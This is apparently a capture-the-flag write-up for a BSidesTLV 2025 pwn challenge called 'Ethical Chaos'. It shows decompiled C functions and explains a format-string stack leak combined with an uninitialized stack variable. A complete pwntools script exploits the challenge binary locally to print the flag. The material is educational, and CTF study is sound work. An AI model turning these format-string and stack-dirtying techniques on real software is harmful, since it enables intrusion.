Ethical Chaos

Description

Loki bent the rules of Ethic in The magic console Can You find the whole for the contradiction , use it and get your flag?

Challenge by Tuv Levav

Sources were attached.

Solution

The challenge simulates a “Magic Defense Console” where we can create, activate, and mix magic spells. The goal is to trigger a specific “unstable” state in the magic system to read flag.txt.

1. The Win Condition (activate_magic)

The activate_magic function contains a hidden check for “Unknown” magic types.

void __cdecl activate_magic(magic_data magic, unsigned int magic_key)
{
  magic_data v2; // [esp-30h] [ebp-38h]

  if ( magic.is_ethical == 1 )
  {
    printf("Activating ethical magic: %s\n", magic.magic_name);
    *(_QWORD *)&v2.magic_name[24] = *(_QWORD *)&magic.magic_name[24];
    *(_QWORD *)&v2.magic_name[16] = *(_QWORD *)&magic.magic_name[16];
    *(_QWORD *)&v2.magic_name[8] = *(_QWORD *)&magic.magic_name[8];
    *(_QWORD *)v2.magic_name = *(_QWORD *)magic.magic_name;
    v2.ethical_level = magic.ethical_level;
    v2.is_ethical = 1;
    magic_flow(v2, magic_key);
  }
  else if ( magic.is_ethical )
  {
    if ( 0.5 == magic.ethical_level )
    {
      puts("Good job magician! here is your unsabel magic - flag as reward");
      system("cat flag.txt \n");
    }
    else
    {
      puts("Unknown magic type.");
    }
  }
  else
  {
    printf("Activating unethical magic: %s\n", magic.magic_name);
  }
}

Target State: We need a spell with:

2. The Uninitialized Variable (mix_magic)

The mix_magic function combines spells. It has a critical flaw in its logic flow.

magic_data *__userpurge mix_magic@<eax>(magic_data *__return_ptr retstr, magic_data magic1, magic_data magic2)
{
  magic_data mixed_magic; // [esp+10h] [ebp-38h] BYREF
  unsigned int v5; // [esp+3Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  strcpy(mixed_magic.magic_name, magic1.magic_name);
  if ( magic1.is_ethical != 1 || magic2.is_ethical )
  {
    if ( magic1.is_ethical || magic2.is_ethical )
    {
      mixed_magic.ethical_level = 1.0;
    }
    else
    {
      mixed_magic.ethical_level = 0.0;
      mixed_magic.is_ethical = 0;
      puts("The magic is still unethical.");
    }
  }
  else
  {
    mixed_magic.ethical_level = 0.5;
    puts("Nice, magician! You created unstable magic.");
  }
  *retstr = mixed_magic;
  return retstr;
}

If we enter the else block, we get the correct ethical Level (0.5), but the mixed_magic.is_ethical is read from uninitialized stack memory. If we can write garbage data to that stack address right before calling mix_magic, we control is_ethical.

3. The Password Leak (Format String)

Accessing the mixing menu requires a random stack-generated password.

case 3:
{
    puts("Harry UP , it's not so easy to be unethical - but you can try.");
    puts("Mixing magic is a tricky business, magician.");
    puts("Befor- give me the key- it's not very easy to blend");
    printf("Enter the magic mix password: ");
    clear_output_buffer();
    __isoc99_scanf("%100s", &var_88);
    clear_input_buffer();
    printf(&var_88);
    clear_output_buffer();
    putchar(0xa);
    int32_t eax_59 = atoi(&var_88);

We can use %u format specifiers to leak the stack, find the random integer, and pass the check.


Exploitation Strategy

  1. Setup: Create two “Ethical” magic spells (Slot 0 and Slot 1).
  2. Revoke Permissions: Convert Slot 1 to “Unethical” (Status 0). This requires solving a simple XOR challenge provided by the binary.
  3. Leak Password: Enter the “Mix Magic” menu. Send %u|%u|%u... as the password. The binary will print stack values. One of these is the required numeric password.
  4. Dirty the Stack:
    • Send the correct password to pass the atoi check.
    • Append a long string of ‘A’s to the password (e.g., 12345AAAAAA...).
    • The vulnerable printf(buffer) will print this string, writing 0x41414141 (“AAAA”) to the stack memory exactly where the uninitialized variable will be read later.
  5. Trigger mix_magic:
    • The function runs.
    • It enters the else block (Power = 0.5).
    • It reads 0x41414141 from the dirty stack as is_ethical.
  6. Win: Activate the newly created chaotic magic spell.

Solution Script

from pwn import *
import ctypes
import re

# HOST = '0.cloud.chals.io'
# PORT = 10736

def solve():
    # r = remote(HOST, PORT)
    r = process('./Ethical_Chaos') # Local binary required for specific offsets/behavior testing

    # --- STEP 1: Setup Magic Slots ---
    print("[*] Creating Magic Slots...")
    r.sendlineafter(b'action: ', b'1')
    r.sendlineafter(b'(0-9): ', b'0')
    r.sendlineafter(b'name: ', b'EncryptThoughts')

    r.sendlineafter(b'action: ', b'1')
    r.sendlineafter(b'(0-9): ', b'1')
    r.sendlineafter(b'name: ', b'EncryptThoughts')

    # --- STEP 2: Revoke Permissions (XOR Puzzle) ---
    print("[*] Solving XOR to revoke permissions...")
    r.sendlineafter(b'action: ', b'4')
    
    # Parse Key and Encrypted Password
    r.recvuntil(b'encrption_key is: ')
    key_int = int(r.recvline().strip())
    r.recvuntil(b'encrypted password is: \n')
    hex_line = r.recvline().strip()
    encrypted_bytes = [int(x, 16) for x in hex_line.split(b' ') if x]

    # XOR Logic
    key_packed = p32(key_int)
    password_bytes = bytearray()
    for i, b in enumerate(encrypted_bytes):
        password_bytes.append(b ^ key_packed[i % 4])
    
    r.sendlineafter(b'revoke permissions: ', password_bytes)
    r.sendlineafter(b'index to revoke permissions: ', b'1')

    # --- STEP 3: Leak Mix Password (Format String) ---
    print("[*] Leaking stack data...")
    r.sendlineafter(b'action: ', b'3')
    # Leak ~30 stack values
    r.sendlineafter(b'mix password: ', b'|'.join([b'%u']*30))
    
    leak_data = r.recvline().decode(errors='ignore')
    if "|" not in leak_data: leak_data += r.recvline().decode(errors='ignore')
    
    candidates = []
    for val in leak_data.split('|'):
        if val.strip().isdigit():
            candidates.append(int(val))

    # --- STEP 4: Stack Dirtying & Exploit ---
    print("[*] Attempting Stack Dirtying with candidates...")
    
    # We try candidates found on the stack. One is the password.
    # We append 'A's to dirty the stack for the uninitialized variable in mix_magic.
    
    for cand in candidates:
        r.recvuntil(b'action: ', timeout=1)
        r.sendline(b'3') # Select Mix Magic
        
        # Payload: [Valid Password] + [Garbage to fill stack]
        payload = str(cand).encode() + b'A' * 100
        r.sendlineafter(b'mix password: ', payload)
        
        response = r.recvuntil([b'action: ', b'[slot_2]: '], timeout=1)
        
        if b'[slot_2]: ' in response:
            print(f"[+] Password confirmed: {cand}")
            # Mix Slot 0 (Ethical) and Slot 1 (Unethical/Revoked)
            r.sendline(b'0 1')
            break

    # --- STEP 5: Activate & Get Flag ---
    print("[*] Activating Unstable Magic...")
    r.recvuntil(b'action: ')
    r.sendline(b'2') # Activate
    r.sendlineafter(b'(0-9): ', b'0') # Activate the mixed slot

    output = r.recvall(timeout=2).decode(errors='ignore')
    flag_match = re.search(r'(BSidesTLLV2025\{.*?\})', output)
    if flag_match:
        print(f"\n[+] FLAG: {flag_match.group(1)}")
    else:
        print("[-] Flag not found in output.")

if __name__ == '__main__':
    solve()

Result

[*] Activating Unstable Magic...
Good job magician! here is your unsabel magic - flag as reward
[+] FLAG: BSidesTLLV2025{Just_In3Alid_MiX_a3d_XoR}